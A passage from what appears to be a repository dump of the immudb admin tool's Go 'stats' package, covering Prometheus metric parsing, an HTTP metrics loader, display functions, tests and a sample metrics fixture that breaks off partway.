labelPair.GetValue()\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\t(*out)[labelValue] = uint64(m.GetGauge().GetValue())\n\t}\n}\n\nfunc (ms *metrics) withDBInfo(metricsFamilies *map[string]*dto.MetricFamily) {\n\t// Uptime hours\n\tupHoursMetricsFams := (*metricsFamilies)[\"immudb_uptime_hours\"]\n\tif upHoursMetricsFams != nil && len(upHoursMetricsFams.GetMetric()) > 0 {\n\t\tms.uptimeHours = upHoursMetricsFams.GetMetric()[0].GetCounter().GetValue()\n\t}\n\n\t// DB sizes\n\tdbSizes := make(map[string]uint64)\n\tgetGaugeVecPerLabel(\n\t\t(*metricsFamilies)[\"immudb_db_size_bytes\"].GetMetric(),\n\t\t\"db\",\n\t\t&dbSizes)\n\n\t// Number of entries\n\tnbsEntries := make(map[string]uint64)\n\tgetGaugeVecPerLabel(\n\t\t(*metricsFamilies)[\"immudb_number_of_stored_entries\"].GetMetric(),\n\t\t\"db\",\n\t\t&nbsEntries)\n\n\t// aggregate all metrics to db info structs\n\tdbInfos := make(map[string]dbInfo, int(math.Max(float64(len(dbSizes)), float64(len(nbsEntries)))))\n\tfor db, dbSize := range dbSizes {\n\t\tcurrDBInfo := dbInfos[db]\n\t\tcurrDBInfo.name = db\n\t\tcurrDBInfo.totalBytes = dbSize\n\t\tdbInfos[db] = currDBInfo\n\t}\n\tfor db, nbEntries := range nbsEntries {\n\t\tcurrDBInfo := dbInfos[db]\n\t\tcurrDBInfo.name = db\n\t\tcurrDBInfo.nbEntries = nbEntries\n\t\tdbInfos[db] = currDBInfo\n\t}\n\n\tms.dbs = dbInfos\n}\n\nfunc (ms *metrics) withDuration(metricsFamilies *map[string]*dto.MetricFamily) {\n\tms.durationRPCsByMethod = map[string]rpcDuration{}\n\tfor _, m := range (*metricsFamilies)[\"grpc_server_handling_seconds\"].GetMetric() {\n\t\tvar method string\n\t\tfor _, labelPair := range m.GetLabel() {\n\t\t\tif labelPair.GetName() == \"grpc_method\" {\n\t\t\t\tmethod = labelPair.GetValue()\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\th := m.GetHistogram()\n\t\tc := h.GetSampleCount()\n\t\ttd := h.GetSampleSum()\n\t\tvar ad float64\n\t\tif c != 0 {\n\t\t\tad = td / float64(c)\n\t\t}\n\t\td := rpcDuration{\n\t\t\tmethod:        method,\n\t\t\tcounter:       c,\n\t\t\ttotalDuration: td,\n\t\t\tavgDuration:   ad,\n\t\t}\n\t\tms.durationRPCsByMethod[method] = d\n\t\tif _, ok := readers[method]; ok {\n\t\t\tms.reads.counter += d.counter\n\t\t\tms.reads.duration += d.avgDuration\n\t\t}\n\t\tif _, ok := writers[method]; ok {\n\t\t\tms.writes.counter += d.counter\n\t\t\tms.writes.duration += d.totalDuration\n\t\t}\n\t}\n\tif ms.reads.counter > 0 {\n\t\tms.reads.avgDuration = ms.reads.duration / float64(ms.reads.counter)\n\t}\n\tif ms.writes.counter > 0 {\n\t\tms.writes.avgDuration = ms.writes.duration / float64(ms.writes.counter)\n\t}\n}\n\nfunc (ms *metrics) withMemStats(metricsFamilies *map[string]*dto.MetricFamily) {\n\tif sysBytesMetric := (*metricsFamilies)[\"go_memstats_sys_bytes\"]; sysBytesMetric != nil {\n\t\tms.memstats.sysBytes = uint64(*sysBytesMetric.GetMetric()[0].GetGauge().Value)\n\t}\n\tif heapAllocMetric := (*metricsFamilies)[\"go_memstats_heap_alloc_bytes\"]; heapAllocMetric != nil {\n\t\tms.memstats.heapAllocBytes = uint64(*heapAllocMetric.GetMetric()[0].GetGauge().Value)\n\t}\n\tif heapIdleMetric := (*metricsFamilies)[\"go_memstats_heap_idle_bytes\"]; heapIdleMetric != nil {\n\t\tms.memstats.heapIdleBytes = uint64(*heapIdleMetric.GetMetric()[0].GetGauge().Value)\n\t}\n\tif heapInUseMetric := (*metricsFamilies)[\"go_memstats_heap_inuse_bytes\"]; heapInUseMetric != nil {\n\t\tms.memstats.heapInUseBytes = uint64(*heapInUseMetric.GetMetric()[0].GetGauge().Value)\n\t}\n\tif stackInUseMetric := (*metricsFamilies)[\"go_memstats_stack_inuse_bytes\"]; stackInUseMetric != nil {\n\t\tms.memstats.stackInUseBytes = uint64(*stackInUseMetric.GetMetric()[0].GetGauge().Value)\n\t}\n}\n\nfunc (ms *metrics) dbWithMostEntries() dbInfo {\n\tvar db dbInfo\n\tfor _, currentDB := range ms.dbs {\n\t\tif (len(db.name) == 0 || currentDB.nbEntries > db.nbEntries) &&\n\t\t\t// skip system db\n\t\t\tcurrentDB.name != SystemdbName {\n\t\t\tdb = currentDB\n\t\t}\n\t}\n\treturn db\n}\n\nfunc byteCountBinary(b uint64) (string, float64) {\n\tconst unit = 1024\n\tif b < unit {\n\t\treturn fmt.Sprintf(\"%d B\", b), float64(b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n >= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\tv := float64(b) / float64(div)\n\treturn fmt.Sprintf(\"%.1f %cB\", v, \"kMGTPE\"[exp]), v\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/stats/metricsloader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stats\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\n\t\"github.com/prometheus/common/expfmt\"\n)\n\n// MetricsLoader ...\ntype MetricsLoader interface {\n\tLoad() (*metrics, error)\n}\n\nfunc newMetricsLoader(url string) MetricsLoader {\n\treturn &metricsLoader{\n\t\turl:    url,\n\t\tclient: newHTTPClient(),\n\t}\n}\n\ntype metricsLoader struct {\n\turl    string\n\tclient *http.Client\n}\n\nfunc (ml *metricsLoader) Load() (*metrics, error) {\n\tresp, err := ml.client.Get(ml.url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\tbody, _ := ioutil.ReadAll(resp.Body)\n\t\treturn nil, fmt.Errorf(\"GET %s returned unexpected HTTP Status %d with body %s\", ml.url, resp.StatusCode, string(body))\n\t}\n\ttextParser := expfmt.TextParser{}\n\tmetricsFamilies, err := textParser.TextToMetricFamilies(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tms := &metrics{}\n\tms.populateFrom(&metricsFamilies)\n\treturn ms, nil\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/stats/show.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stats\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"sort\"\n\t\"strings\"\n\t\"time\"\n)\n\nconst requestTimeout = 3 * time.Second\n\nfunc metricsURL(serverAddress string) string {\n\tif strings.HasPrefix(serverAddress, \"http\") {\n\t\treturn serverAddress\n\t}\n\treturn \"http://\" + serverAddress + \":9497/metrics\"\n}\n\nfunc newHTTPClient() *http.Client {\n\treturn &http.Client{\n\t\tTimeout: requestTimeout,\n\t}\n}\n\n// ShowMetricsRaw ...\nfunc ShowMetricsRaw(w io.Writer, serverAddress string) error {\n\tresp, err := newHTTPClient().Get(metricsURL(serverAddress))\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Fprintf(w, \"%s\\n\", string(body))\n\treturn nil\n}\n\n// ShowMetricsAsText ...\nfunc ShowMetricsAsText(w io.Writer, serverAddress string) error {\n\tloader := newMetricsLoader(metricsURL(serverAddress))\n\tms, err := loader.Load()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdb := ms.dbWithMostEntries()\n\n\tconst labelLength = 27\n\tconst strPattern = \"%-*s:\\t%s\\n\"\n\tconst intPattern = \"%-*s:\\t%d\\n\"\n\n\t// print DB info\n\tfmt.Fprintf(w, strPattern, labelLength, \"Database\", db.name)\n\tuptime, _ := time.ParseDuration(fmt.Sprintf(\"%.4fh\", ms.uptimeHours))\n\tfmt.Fprintf(w, strPattern, labelLength, \"Uptime\", uptime)\n\tfmt.Fprintf(w, intPattern, labelLength, \"Entries\", db.nbEntries)\n\ttotalSizeS, _ := byteCountBinary(db.totalBytes)\n\tfmt.Fprintf(w, strPattern, labelLength, \"Size\", totalSizeS)\n\n\t// print clients\n\tfmt.Fprintf(w, intPattern, labelLength, \"Number of clients\", ms.nbClients)\n\tfmt.Fprintf(w, strPattern, labelLength, \"Queries per client\", \"\")\n\tfor k, v := range ms.nbRPCsPerClient {\n\t\tfmt.Fprintf(w, \"   \"+intPattern, labelLength-3, k, v)\n\t\tif lastMsgAt, ok := ms.lastMsgAtPerClient[k]; ok {\n\t\t\tago := time.Since(time.Unix(int64(lastMsgAt), 0))\n\t\t\tfmt.Fprintf(w, \"      \"+strPattern, labelLength-6, \"Last query\", fmt.Sprintf(\"%s ago\", ago))\n\t\t}\n\t}\n\n\t// print durations\n\tif ms.isHistogramsDataAvailable() {\n\t\tkeys := make([]string, 0, len(ms.durationRPCsByMethod))\n\t\tfor k := range ms.durationRPCsByMethod {\n\t\t\tkeys = append(keys, k)\n\t\t}\n\t\tsort.Strings(keys)\n\t\tfmt.Fprintf(w, strPattern, labelLength, \"Avg. duration (nb calls)\", \"µs\")\n\t\tfor _, k := range keys {\n\t\t\trd := ms.durationRPCsByMethod[k]\n\t\t\tlbl := fmt.Sprintf(\"%s (%d)\", rd.method, rd.counter)\n\t\t\tfmt.Fprintf(w, \"   \"+strPattern, labelLength-3, lbl, fmt.Sprintf(\"%.0f\", rd.avgDuration*1000_000))\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// ShowMetricsVisually ...\nfunc ShowMetricsVisually(serverAddress string) error {\n\tsu := statsui{Loader: newMetricsLoader(metricsURL(serverAddress)), Tui: tui{}}\n\treturn su.runUI(false)\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/stats/show_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stats\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/immuadmin/command/stats/statstest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestShowMetricsRaw(t *testing.T) {\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(res http.ResponseWriter, req *http.Request) {\n\t\tres.Write(statstest.StatsResponse)\n\t}))\n\tdefer testServer.Close()\n\tvar sw strings.Builder\n\trequire.NoError(t, ShowMetricsRaw(&sw, testServer.URL))\n}\n\nfunc TestShowMetricsAsText(t *testing.T) {\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(res http.ResponseWriter, req *http.Request) {\n\t\tres.Write(statstest.StatsResponse)\n\t}))\n\tdefer testServer.Close()\n\tvar sw strings.Builder\n\trequire.NoError(t, ShowMetricsAsText(&sw, testServer.URL))\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/stats/statstest/statsResponse.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage statstest\n\nvar StatsResponse = []byte(`# HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.\n# TYPE go_gc_duration_seconds summary\ngo_gc_duration_seconds{quantile=\"0\"} 2.9563e-05\ngo_gc_duration_seconds{quantile=\"0.25\"} 2.9563e-05\ngo_gc_duration_seconds{quantile=\"0.5\"} 0.002745226\ngo_gc_duration_seconds{quantile=\"0.75\"} 0.002745226\ngo_gc_duration_seconds{quantile=\"1\"} 0.002745226\ngo_gc_duration_seconds_sum 0.002774789\ngo_gc_duration_seconds_count 2\n# HELP go_goroutines Number of goroutines that currently exist.\n# TYPE go_goroutines gauge\ngo_goroutines 35\n# HELP go_info Information about the Go environment.\n# TYPE go_info gauge\ngo_info{version=\"go1.13.4\"} 1\n# HELP go_memstats_alloc_bytes Number of bytes allocated and still in use.\n# TYPE go_memstats_alloc_bytes gauge\ngo_memstats_alloc_bytes 2.74031064e+08\n# HELP go_memstats_alloc_bytes_total Total number of bytes allocated, even if freed.\n# TYPE go_memstats_alloc_bytes_total counter\ngo_memstats_alloc_bytes_total 2.75803848e+08\n# HELP go_memstats_buck_hash_sys_bytes Number of bytes used by the profiling bucket hash table.\n# TYPE go_memstats_buck_hash_sys_bytes gauge\ngo_memstats_buck_hash_sys_bytes 1.449515e+06\n# HELP go_memstats_frees_total Total number of frees.\n# TYPE go_memstats_frees_total counter\ngo_memstats_frees_total 6597\n# HELP go_memstats_gc_cpu_fraction The fraction of this program's available CPU time used by the GC since the program started.\n# TYPE go_memstats_gc_cpu_fraction gauge\ngo_memstats_gc_cpu_fraction 0.11723839325046846\n# HELP go_memstats_gc_sys_bytes Number of bytes used for garbage collection system metadata.\n# TYPE go_memstats_gc_sys_bytes gauge\ngo_memstats_gc_sys_bytes 1.1036672e+07\n# HELP go_memstats_heap_alloc_bytes Number of heap bytes allocated and still in use.\n# TYPE go_memstats_heap_alloc_bytes gauge\ngo_memstats_heap_alloc_bytes 2.74031064e+08\n# HELP go_memstats_heap_idle_bytes Number of heap bytes waiting to be used.\n# TYPE go_memstats_heap_idle_bytes gauge\ngo_memstats_heap_idle_bytes 5.9260928e+07\n# HELP go_memstats_heap_inuse_bytes Number of heap bytes that are in use.\n# TYPE go_memstats_heap_inuse_bytes gauge\ngo_memstats_heap_inuse_bytes 2.7533312e+08\n# HELP go_memstats_heap_objects Number of allocated objects.\n# TYPE go_memstats_heap_objects gauge\ngo_memstats_heap_objects 31692\n# HELP go_memstats_heap_released_bytes Number of heap bytes released to OS.\n# TYPE go_memstats_heap_released_bytes gauge\ngo_memstats_heap_released_bytes 5.9260928e+07\n# HELP go_memstats_heap_sys_bytes Number of heap bytes obtained from system.\n# TYPE go_memstats_heap_sys_bytes gauge\ngo_memstats_heap_sys_bytes 3.34594048e+08\n# HELP go_memstats_last_gc_time_seconds Number of seconds since 1970 of last garbage collection.\n# TYPE go_memstats_last_gc_time_seconds gauge\ngo_memstats_last_gc_time_seconds 1.5947157842258556e+09\n# HELP go_memstats_lookups_total Total number of pointer lookups.\n# TYPE go_memstats_lookups_total counter\ngo_memstats_lookups_total 0\n# HELP go_memstats_mallocs_total Total number of mallocs.\n# TYPE go_memstats_mallocs_total counter\ngo_memstats_mallocs_total 38289\n# HELP go_memstats_mcache_inuse_bytes Number of bytes in use by mcache structures.\n# TYPE go_memstats_mcache_inuse_bytes gauge\ngo_memstats_mcache_inuse_bytes 13888\n# HELP go_memstats_mcache_sys_bytes Number of bytes used for mcache structures obtained from system.\n# TYPE go_memstats_mcache_sys_bytes gauge\ngo_memstats_mcache_sys_bytes 16384\n# HELP go_memstats_mspan_inuse_bytes Number of bytes in use by mspan structures.\n# TYPE go_memstats_mspan_inuse_bytes gauge\ngo_memstats_mspan_inuse_bytes 70312\n# HELP go_memstats_mspan_sys_bytes Number of bytes used for mspan structures obtained from system.\n# TYPE go_memstats_mspan_sys_bytes gauge\ngo_memstats_mspan_sys_bytes 81920\n# HELP go_memstats_next_gc_bytes Number of heap bytes when next garbage collection will take place.\n# TYPE go_memstats_next_gc_bytes gauge\ngo_memstats_next_gc_bytes 4.47937072e+08\n# HELP go_memstats_other_sys_bytes Number of bytes used for other system allocations.\n# TYPE go_memstats_other_sys_bytes gauge\ngo_memstats_other_sys_bytes 1.514189e+06\n# HELP go_memstats_stack_inuse_bytes Number of bytes in use by the stack allocator.\n# TYPE go_memstats_stack_inuse_bytes gauge\ngo_memstats_stack_inuse_bytes 950272\n# HELP go_memstats_stack_sys_bytes Number of bytes obtained from system for stack allocator.\n# TYPE go_memstats_stack_sys_bytes gauge\ngo_memstats_stack_sys_bytes 950272\n# HELP go_memstats_sys_bytes Number of bytes obtained from system.\n# TYPE go_memstats_sys_bytes gauge\ngo_memstats_sys_bytes 3.49643e+08\n# HELP go_threads Number of OS threads created.\n# TYPE go_threads gauge\ngo_threads 18\n# HELP grpc_server_handled_total Total number of RPCs completed on the server, regardless of success or failure.\n# TYPE grpc_server_handled_total counter\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Aborted\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 